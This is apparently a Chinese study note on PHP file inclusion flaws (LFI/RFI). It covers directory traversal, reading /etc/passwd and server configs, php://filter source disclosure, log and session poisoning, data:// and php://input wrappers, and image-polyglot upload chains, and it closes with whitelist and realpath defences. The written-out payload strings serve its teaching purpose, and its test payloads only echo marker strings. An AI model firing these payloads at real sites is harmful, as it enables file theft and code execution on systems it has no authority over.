文件包含这篇内容最多:LFI/RFI 的区别、php://filter 伪协议读源码、日志包含 Getshell、session 包含……我整理得最厚的一篇,每个手法都附了我自己的验证过程。
核心知识点
1. 文件的概念与正常用途
- 为什么需要文件:导航栏、数据库连接、权限验证、页脚等代码重复,独立文件由页面调用,减少重复、方便统一修改。
// header.php
echo '<h1>教学网站</h1>';
// index.php
include 'header.php';
echo '<p>这里是首页正文</p>';
- 通俗理解:
include像把另一张纸拿过来贴到当前位置继续执行。
2. 四个函数
| 函数 | 文件找不到时 | 重复 | 适合场景 |
|---|---|---|---|
include | 警告,后续继续执行 | 非页面片段,如页脚 | |
include_once | 警告,后续继续执行 | 同一文件一次 | 函数/类重复定义 |
require | 致命错误,程序终止 | 文件,如数据库 | |
require_once | 致命错误,程序终止 | 同一文件一次 | 类库和 |
重点:四个函数风险本质相同——只要文件名来自用户且未严格限制,都可能形成文件漏洞。
3. 被文件的扩展名为什么不重要
- 文件通过 PHP 的
include/require被读取,而非浏览器单独访问该扩展名。 demo.jpg含 PHP 标签时,被 include 后 PHP 会处理标签。上传只检查 .jpg 扩展名不能阻止”上传后再”的攻击链。- 容易混淆:直接访问
/upload/demo.jpg通常按图片返回;但include("upload/demo.jpg")可能让 PHP 解释代码。
4. 漏洞产生原理
<?php
$page = $_GET['page'];
include $page; // 用户可控的动态
?>
正常请求 ?page=home.php;攻击改 ?page=../../test.php。
漏洞成立的两个:
- 程序使用 include/require 等方式动态文件
- 用户能直接或间接控制动态变量的值
判断口诀:“动态 + 用户可控 = 高风险”。固定写死的 include("config.php") 通常不是漏洞。
5. LFI 与 RFI
| 项目 | LFI | RFI |
|---|---|---|
| 称 | Local File Inclusion | Remote File Inclusion |
| 文件位置 | 目标服务器本地 | 远程服务器/远程资源 |
| 常见形式 | ../、绝对路径、日志、Session | http://、ftp:// |
| 依赖 | 通常不依赖 allow_url_include | 通常要求 allow_url_include=On |
| 常见危害 | 信息泄露,条件满足时代码执行 | 远程代码被执行 |
| 现实常见程度 | 较常见 | 现代环境较少见 |
RFI 检查:php -i | grep -E 'allow_url_fopen|allow_url_include'(以 phpinfo() 为准)。
6. 目录遍历(../)
../表示”当前目录的上一级”;目录遍历不是随机多写几个../,而是按”当前目录”和”目标文件位置”计算层级。- 用无害标记文件判断层级:
echo 'LFI_TEST_OK' > /var/www/lfi-marker.txt
# 访问 ?page=../../../lfi-marker.txt,页面出现 LFI_TEST_OK 说明层级正确
- 绝对路径 vs 相对路径:
- 相对:
../../test.txt(依赖当前脚本目录) - Linux 绝对:
/etc/passwd - Windows 绝对:
C:/Windows/php.ini(PHP 中常用正斜杠转义)
- 相对:
- 程序自动拼接后缀:
include $page . '.php';时?page=testtest.php;拼接会限制部分读取方式,但php://filter的 resource 参数、已有 .php 文件等仍需单独分析。
7. 读取 Windows 与 Linux 敏感文件
- 读取本质:文件含 PHP 标签会被执行,读取 PHP 源码通常要 php://filter。
Linux 敏感文件:
| 路径 | 可能得到的信息 |
|---|---|
/etc/passwd | 系统账户信息(用户名/UID/家目录/Shell,不含密码哈希) |
/etc/apache2/apache2.conf | Apache 主 |
/etc/httpd/conf/httpd.conf | RHEL 系 Apache |
/etc/nginx/nginx.conf | Nginx |
/etc/my.cnf | MySQL/MariaDB |
/usr/local/php/etc/php.ini | PHP |
/etc/passwd 示例:root:x:0:0:root:/root:/bin/bash(字段:用户名、x 密码占位、UID、GID、描述、家目录、登录 Shell)。
Windows 敏感文件:
| 路径 | 用途 |
|---|---|
C:/Windows/php.ini | PHP |
C:/phpstudy_pro/Extensions/php/php*/php.ini | phpStudy 新版 PHP |
C:/xampp/apache/conf/httpd.conf | XAMPP Apache |
C:/xampp/apache/logs/access.log | XAMPP 访问日志 |
C:/ProgramData/MySQL/MySQL Server*/my.ini | MySQL |
页面空白的原因:文件不存在/层级错误、运行用户无读取权限、open_basedir 限制、被 PHP 执行但无输出、错误显示被、被过滤/拼接后缀。
8. 本地文件上传
- 攻击链:“文件可控 + 上传后路径可知 + LFI 能该路径”。
- Windows copy 命令制作组合文件:
copy 1.jpg /b + test.php /a 2.jpg
- 演示流程:准备图片 1.jpg → 准备 test.php(输出固定字符串)→ copy 合并 → 上传 2.jpg → 确认路径 →
?page=../../uploads/2.jpg→ 出现标记即链条成立。 - 区别:上传漏洞负责把可控放到服务器;文件漏洞负责让 PHP 读取并解释它。组合后风险显著增加。
- 常见失败原因:上传后重命名、存储于 Web 根目录外、重新编码代码、白名单限制、open_basedir、自动拼接后缀。
9. Web 日志、SSH 日志
- 攻击链:攻击可控的请求字段 → Web 服务器 access.log/error.log → LFI 读取日志 → 日志中的 PHP 标签被解释。
- 哪些进日志:请求路径(常见)、User-Agent(常见)、Referer(常见)、Cookie(不一定)、请求体(通常不记录)。
- 无害标记验证:
GET /LFI_LOG_TEST_2026 HTTP/1.1
User-Agent: LFI_LOG_MARKER
服务器确认标记真日志,再测,区分”问题/路径问题/权限问题”。
- 常见日志位置:
- Debian/Ubuntu Apache:
/var/log/apache2/access.log、error.log - RHEL/CentOS Apache:
/var/log/httpd/access_log - Nginx:
/var/log/nginx/access.log - XAMPP:
xampp/apache/logs/access.log;phpStudy:phpStudy/Apache/logs/access.log
- Debian/Ubuntu Apache:
- SSH 日志:认证失败
/var/log/auth.log(Debian 系)或/var/log/secure(RHEL 系)。无害标记:ssh 'LFI_SSH_MARKER'@IP。限制较多(字符转义、Web 进程权限、systemd journal),更适合理解”可控数据本地文件”的通用思路。 - Burp 修改 User-Agent:Proxy 拦截 → 找到 User-Agent 头 → 改为标记字符串 → 放行后查日志。
10. Session 文件
- Cookie vs Session:Cookie 存浏览器客户端;Session 存服务器端。
- Session 文件命名:
PHPSESSID=xxx对应服务器文件sess_xxx。 - 保存路径检查:
php -i | grep -E 'session.save_path|session.save_handler'(Debian:/var/lib/php/sessions/;XAMPP:xampp/tmp/)。 - Session 可控:网站把用户提交的昵称/搜索词
$_SESSION时,这些 Session 存储。 - 三个核心条件:路径已知 + 文件名可确定 + 文件部分可控。缺一不可。
11. PHP 伪协议详解(重点)
PHP 把本地文件、网络资源、请求体、数据、压缩统一抽象为”流”,协议决定 PHP 用什么方式打开资源。
| 协议 | 主要作用 | 文件中的用途 |
|---|---|---|
file:// | 本地文件系统 | 读取绝对路径文件 |
http:// / https:// | 网络资源 | 远程文件 |
ftp:// | FTP 资源 | 远程资源访问 |
php://filter | 流过滤器 | Base64 读取 PHP 源代码(最常用) |
php://input | HTTP 原始请求体 | 特定下请求体 |
data:// | URL 嵌数据 | 直接提供代码或文本 |
zip:// | ZIP 压缩 | 访问压缩文件 |
phar:// | PHP 归档 | 访问归档文件 |
file://
?page=file:///etc/passwd
?page=file:///C:/Windows/php.ini
Linux 绝对路径三个斜杠:file:// 协议 + 第三个斜杠属于根路径。
php://filter —— 读取 PHP 源代码(最值得掌握)
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php # 省略 read= 的写法
- 原理:直接把文件经过 Base64 编码再交给 include 输出,编码后不再含可执行的 PHP 标签,能看到源码。
- 解码:
echo 'PD9waHAgZWNobyAnSGVsbG8nOyA/Pg==' | base64 -d
或用 Burp Decoder 选 “Decode as Base64”。
- 重点:php://filter 主要用于源码读取,不等同于直接命令执行。
php://input —— 请求体
POST /include/index.php?page=php://input HTTP/1.1
Host: 127.0.0.1
Content-Type: text/plain
<?php echo 'INPUT_OK'; ?>
- 常见要求:
allow_url_include=On;POST 且 PHP 放请求体;text/plain观察。
zip://
?page=zip://C:/Users/student/Desktop/test.jpg%23test.txt
- 组成部分:
zip://协议 + 压缩绝对路径(扩展名可改 jpg)+%23(URL 编码的 #)+ 文件名。 - 为什么编码 #:# 在 URL 中是片段标识,通常不会发给服务器,写成
%23服务器才能收到分隔符。
data://
?page=data://text/plain,<?php echo 'DATA_OK'; ?>
?page=data://text/plain;base64,PD9waHAgZWNobyAnREFUQV9PSyc7ID8+
- 数据直接放 URL;明文易受 URL 编码/WAF 影响,Base64 形式更稳定。课件常见要求:PHP>=5.2、allow_url_fopen=On、allow_url_include=On。
phar://
?page=phar://C:/Users/student/Desktop/test.zip/test.txt
?page=phar://C:/Users/student/Desktop/test.jpg/test.txt
- 使用”归档文件路径/文件路径”,不使用 #;即使归档文件改名 jpg,只要底层格式被识别仍可访问。
协议对比表:
| 协议 | 用途 | allow_url_fopen | allow_url_include |
|---|---|---|---|
| file:// | 本地文件读取 | 通常无要求 | 通常无要求 |
| php://filter | 源码读取 | 通常无要求 | 通常无要求 |
| php://input | 请求体 | 通常不是核心 | 常见要求 On |
| data:// | URL 嵌数据 | 常见要求 On | 常见要求 On |
| http:// | 远程 | 常见要求 On | 要求 On |
| zip:// | 压缩 | 通常无要求 | 通常无要求 |
| phar:// | 归档 | 通常无要求 | 通常无要求 |
12. 常见限制、失败原因与排错
- open_basedir:限制 PHP 只能访问指定目录,访问受限文件失败,报
open_basedir restriction in effect。是纵深防御,但不能替代编码。 - 文件权限:Web 服务以 www-data/apache/nginx 运行,无读权限则失败。检查:
ps aux | grep -E 'php-fpm|apache2|httpd|nginx'、ls -l /var/log/apache2/access.log。 - 错误显示:
display_errors = Off时浏览器只显示空白/500,需结合状态码、响应长度、服务器日志判断。 - URL 编码与路径分隔符:
字符 URL 编码 用途 ../..%2f目录遍历编码 \%5cWindows 路径分隔符 #%23zip:// 分隔符 ?%3f被当查询字符串分隔符 :%3a部分过滤场景 注意:编码不是万能绕过,服务器/框架/PHP 可能多次解码,实测。 - 自动拼接目录和后缀:
include './pages/' . $_GET['page'] . '.php';,测试时把最终拼接结果写出来再判断../能否跳出、resource 参数是否受影响。 - PHP 版本差异:allow_url_include 从 PHP 5.2 后通常默认;空字节截断只适用特定旧版本;不同 SAPI 加载的 php.ini 可能不同。
五步排错法:
- 确认参数确实 include/require,而不是普通读取函数或路由框架。
- 用同目录无害文件验证基础成立。
- 用唯一标记文件计算相对路径层级。
- 检查权限、open_basedir、后缀拼接和过滤。
- 最后再测协议、日志、Session 或上传组合。
13. 漏洞检测流程与 Burp 操作
- 可疑参数名:
page、module、view、template、lang、language、file、path、filename、document、content、include、inc,以及 URL 中出现home.php、news.php、header.html等文件名。 - Burp Repeater 流程:Proxy 截获请求 → 右键 Send to Repeater → 原始请求记录状态码/响应长度/ → 逐个改参数(
page=test.php、不存在文件、../、绝对路径、php://filter)→ 对比响应。 - 对比响应:HTTP 状态码(200/403/404/500)、响应长度、响应时间、错误(include、failed to open stream、open_basedir)、页面特征。
- 推荐测试顺序:
?page=test.php同目录验证?page=../marker.txt上一级?page=../../marker.txt继续计算层级?page=/etc/passwdLinux 绝对路径?page=php://filter/...源码读取- 检查上传、日志、Session 条件组合利用
- 检查 allow_url_include 决定是否测 RFI
14. 编码与防御
最危险的写法:include $_GET['page'];。黑名单过滤 ../、php://、http:// 容易遗漏变形协议。
推荐:标识符到固定路径的白名单映射:
$pages = [
'home' => __DIR__ . '/pages/home.php',
'news' => __DIR__ . '/pages/news.php',
'about' => __DIR__ . '/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
http_response_code(404);
exit('页面不存在');
}
include $pages[$key];
用户只能提交业务标识,无法提交 ../、绝对路径或协议。
使用路径时的规范化检查:
$base = realpath(__DIR__ . '/pages');
$name = $_GET['file'] ?? '';
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(400);
exit('非法路径');
}
include $target;
realpath 解析 ../ 和符号链接得到规范化绝对路径,随后确认最终路径仍在目录。
加固: allow_url_include;按需评估 allow_url_fopen; open_basedir; display_errors 开启日志;Web 进程最小权限;上传目录与代码目录隔离且禁止 PHP 执行;Session 目录合理权限。
上传功能加固:随机文件名、重新编码图片、存储 Web 根目录外、独立域名/对象存储、禁止上传目录 PHP 解析、白名单映射不上传路径。
防御检查:是否存在来自 GET/POST/Cookie/Header 的 include 参数?是否固定白名单?能否 ../ 离开目录?是否 php://、data://、http:// 等协议?上传/日志/Session 目录是否可能被?错误页面是否泄露绝对路径?Web 进程是否权限过大?
实操步骤
# 实验目录结构
/var/www/html/lfi-lab/
├── index.php # $page=$_GET['page']??'pages/home.php'; include $page;
├── pages/{home.php,news.php}
├── marker.txt
└── uploads/
# 1. 正常
?page=pages/home.php
# 2. 目录遍历
?page=../marker.txt
# 3. 读取敏感文件
?page=/etc/passwd
# 4. php://filter 读源码
?page=php://filter/read=convert.base64-encode/resource=index.php
# 5. 日志标记
GET /LFI_LOG_MARKER_01 HTTP/1.1(User-Agent 也写标记)
?page=../../../../var/log/apache2/access.log
# 6. php://input(POST 请求体写 PHP 代码)
?page=php://input
# 7. data:// / zip:// / phar:// 见上文
常见错误与排查
- 直接
?page=index.php看不到源码(被解析执行)→ 用 php://filter。 - 目录遍历乱写
../不生效 → marker 文件计算层级。 - 页面空白 → 按”读取敏感文件”一节的 6 种原因排查。
- RFI 失败 → 确认 allow_url_include 是否 On、网络是否可达、是否过滤了 http://。
- zip:// 不识别 → 检查
#是否编码为%23。